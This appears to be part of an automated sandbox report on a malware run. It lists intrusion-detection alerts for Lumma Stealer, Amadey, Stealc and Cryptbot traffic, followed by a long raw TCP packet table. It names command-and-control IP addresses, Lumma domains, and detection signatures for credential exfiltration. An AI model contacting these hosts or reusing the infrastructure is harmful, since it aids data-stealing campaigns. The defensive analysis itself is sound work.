2024-11-10T19:45:42.969588+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-10T19:45:42.969588+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-10T19:45:43.111585+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50026	188.114.97.3	443	TCP
2024-11-10T19:45:43.556767+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50029	188.114.97.3	443	TCP
2024-11-10T19:45:43.556767+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50029	188.114.97.3	443	TCP
2024-11-10T19:45:44.688283+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50034	185.215.113.43	80	TCP
2024-11-10T19:45:44.811414+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50029	188.114.97.3	443	TCP
2024-11-10T19:45:44.811414+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50029	188.114.97.3	443	TCP
2024-11-10T19:45:45.488794+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50041	188.114.97.3	443	TCP
2024-11-10T19:45:45.488794+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50041	188.114.97.3	443	TCP
2024-11-10T19:45:45.605346+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	50040	185.215.113.16	80	TCP
2024-11-10T19:45:46.104167+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	50041	188.114.97.3	443	TCP
2024-11-10T19:45:46.104167+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50041	188.114.97.3	443	TCP
2024-11-10T19:45:47.424986+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50051	188.114.97.3	443	TCP
2024-11-10T19:45:47.424986+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50051	188.114.97.3	443	TCP
2024-11-10T19:45:47.600737+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50052	188.114.97.3	443	TCP
2024-11-10T19:45:47.600737+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50052	188.114.97.3	443	TCP
2024-11-10T19:45:48.133663+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50051	188.114.97.3	443	TCP
2024-11-10T19:45:49.187619+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50054	188.114.97.3	443	TCP
2024-11-10T19:45:49.187619+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50054	188.114.97.3	443	TCP
2024-11-10T19:45:51.184126+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50055	188.114.97.3	443	TCP
2024-11-10T19:45:51.184126+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50055	188.114.97.3	443	TCP
2024-11-10T19:45:55.259633+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	50056	185.215.113.43	80	TCP
2024-11-10T19:45:55.518495+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50057	188.114.97.3	443	TCP
2024-11-10T19:45:55.518495+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50057	188.114.97.3	443	TCP
2024-11-10T19:45:56.982036+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50058	185.215.113.206	80	TCP
2024-11-10T19:46:00.144488+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	56577	1.1.1.1	53	UDP
2024-11-10T19:46:00.180670+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	55619	1.1.1.1	53	UDP
2024-11-10T19:46:00.217801+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50060	188.114.97.3	443	TCP
2024-11-10T19:46:00.217801+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50060	188.114.97.3	443	TCP
2024-11-10T19:46:00.218904+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	59258	1.1.1.1	53	UDP
2024-11-10T19:46:00.224343+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	50060	188.114.97.3	443	TCP
2024-11-10T19:46:00.244421+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	49523	1.1.1.1	53	UDP
2024-11-10T19:46:00.273094+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.4	55271	1.1.1.1	53	UDP
2024-11-10T19:46:00.300907+0100	2057121	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (founpiuer .store)	1	192.168.2.4	51806	1.1.1.1	53	UDP
2024-11-10T19:46:00.955415+0100	2057120	ET MALWARE Observed Win32/Lumma Stealer Related Domain (navygenerayk .store in TLS SNI)	1	192.168.2.4	50062	188.114.97.3	443	TCP
2024-11-10T19:46:00.955415+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	50062	188.114.97.3	443	TCP
2024-11-10T19:46:01.472032+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	50062	188.114.97.3	443	TCP
2024-11-10T19:46:01.472032+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	50062	188.114.97.3	443	TCP
2024-11-10T19:46:06.777713+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50063	185.215.113.206	80	TCP
2024-11-10T19:46:09.206778+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50064	185.228.235.50	80	TCP
2024-11-10T19:46:11.313637+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50065	185.228.235.50	80	TCP
2024-11-10T19:46:20.691012+0100	2054350	ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4	1	192.168.2.4	50076	185.228.235.50	80	TCP
2024-11-10T19:46:24.197621+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	50077	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 10, 2024 19:43:59.464865923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:43:59.469762087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:43:59.469831944 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:43:59.469975948 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:43:59.474791050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:43:59.496927023 CET	49675	443	192.168.2.4	173.222.162.32
Nov 10, 2024 19:44:00.380412102 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:00.382512093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:00.415256023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:00.421415091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:00.712102890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:00.714512110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:00.723611116 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:00.728434086 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.007395029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.007414103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.007508993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.007531881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.009001970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.013905048 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.292830944 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.292851925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.292861938 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.292874098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.292886019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.292897940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.292912960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.292927980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.292939901 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.292973995 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.293539047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.293589115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.295433044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.300287008 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.579930067 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.579983950 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.596821070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.596873999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.809417963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:01.824374914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.824417114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.824469090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.824734926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.824774027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.825083017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.825117111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:01.825203896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:02.623236895 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:02.626513958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:02.868254900 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:02.873164892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.150016069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.150041103 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.150053978 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.150067091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.150079012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.150084019 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.150095940 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.150192976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.151101112 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.151113033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.151129961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.151139021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.151149988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.151159048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.151168108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.151185989 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.151217937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.151465893 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.154498100 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.309591055 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.309616089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.309633017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.309645891 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.309657097 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.309659958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.309705973 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.309941053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.309988976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.310062885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310105085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.310137033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310148001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310158968 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310172081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310179949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.310209990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.310880899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310925961 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310939074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310942888 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.310969114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310981989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.310983896 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.311007023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.311038971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.311717033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.311763048 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.311773062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.311790943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.311806917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.311815977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.311819077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.311829090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.311851978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.311866999 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.312421083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.312432051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.312443972 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.312469959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.312490940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.468322039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.468348026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.468406916 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.468426943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.468441010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.468460083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.468472004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.468481064 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.468492985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.468502998 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.468514919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.468518972 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.468543053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.468563080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469022989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469062090 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469063044 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469103098 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469165087 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469206095 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469224930 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469237089 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469248056 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469268084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469283104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469707012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469729900 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469741106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469753027 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469762087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469764948 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469784021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469795942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.469805956 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469835043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.469845057 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.470705986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.470716953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.470729113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.470751047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.470776081 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.470783949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.470796108 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.470807076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.470818996 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.470834970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.470846891 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.470875025 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.471627951 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.471669912 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.471673965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.471687078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.471715927 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.471736908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.471740007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.471751928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.471762896 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.471776009 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.471786976 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.471810102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.471839905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.472681999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.472693920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.472704887 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.472727060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.472757101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.472765923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.472769022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.472779989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.472790956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.472799063 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.472822905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.472855091 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.473650932 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.473663092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.473673105 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.473689079 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.473717928 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.473718882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.473731041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.473743916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.473756075 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.473790884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.627496958 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627563000 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.627567053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627607107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.627614975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627628088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627645016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627656937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627662897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.627669096 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627676964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.627703905 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.627732992 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.627896070 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627907038 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627918005 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.627943993 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.627954960 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628036022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628046989 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628057957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628070116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628082037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628082991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628092051 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628101110 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628140926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628386021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628396988 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628407001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628424883 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628449917 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628453970 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628464937 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628475904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628484964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628515005 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628793001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628806114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628815889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.628834963 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.628865957 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.629010916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629021883 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629030943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629041910 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629053116 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629054070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.629065037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629075050 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629077911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.629087925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629100084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629111052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.629144907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.629694939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629713058 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629718065 CET	80	49730	185.215.113.206	192.168.2.4
Nov 10, 2024 19:44:03.629741907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 10, 2024 19:44:03.629775047 CET	49730	80	192.168.2.4	185.215.113.206
